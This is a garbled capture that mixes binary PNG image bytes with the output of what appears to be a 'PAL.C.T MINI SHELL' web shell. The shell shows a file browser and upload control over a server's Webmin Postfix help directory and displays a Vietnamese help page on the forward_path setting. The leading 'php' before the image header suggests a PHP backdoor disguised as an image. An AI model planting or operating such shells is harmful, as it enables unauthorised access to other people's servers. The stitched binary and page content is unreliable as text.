php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/help/
upload
files >> //usr/libexec/webmin/postfix/help/opt_forward_path.vi.auto.html

<header> Danh sách tìm kiếm để chuyển tiếp </header><center> <tt>forward_path</tt> </center> <hr> Tham số này chỉ định một danh sách tìm kiếm. Các tập tin đầu tiên được tìm thấy được sử dụng. <p> Các mở rộng sau đây được thực hiện: <ul><li> <tt>$user</tt> (tên người dùng), <li> <tt>$shell</tt> (vỏ người nhận), <li> <tt>$home</tt> (thư mục nhà của người nhận), <li> <tt>$recipient</tt> (địa chỉ người nhận đầy đủ), <li> <tt>$extension</tt> (phần mở rộng địa chỉ người nhận), <li> <tt>$domain</tt> (tên miền người nhận), <li> <tt>$local</tt> (toàn bộ người nhận localpart), <li> <tt>$recipient_delimiter</tt> . </ul> Chỉ định <tt>${name?value}</tt> hoặc <tt>${name:value}</tt> để chỉ mở rộng giá trị khi <tt>$name</tt> không tồn tại. <hr>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`